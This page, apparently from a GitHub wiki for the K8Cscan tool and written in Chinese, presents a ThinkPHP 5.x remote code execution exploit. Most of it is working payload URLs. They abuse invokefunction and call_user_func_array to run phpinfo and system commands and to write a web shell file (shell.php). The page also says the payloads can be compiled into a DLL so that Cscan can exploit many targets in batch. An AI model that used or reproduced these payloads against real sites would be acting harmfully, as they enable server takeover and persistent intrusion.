Skip to content

漏洞利用 ThinkPHP 5.0.22 5.1.29 RCE GetShell Exploit

k8gege edited this page Oct 25, 2019 · 5 revisions

K8Cscan 20191025

ThinkPHP 5.0.22 5.1.29 RCE GetShell Exploit

漏洞环境

使用docker ThinkPHP 5.0.20

复现测试

Payload:
http://192.168.1.37:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

执行命令

http://192.168.1.37:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写入文件

GetShell1
http://192.168.1.37:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo 111111>shell.php
GetShell2
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=URL编码内容

视频教程

通过EXP生成器将以上Payload转成DLL,使用Cscan即可批量利用
Video: K8Cscan ThinkPHP 5.x RCE Exploit

Clone this wiki locally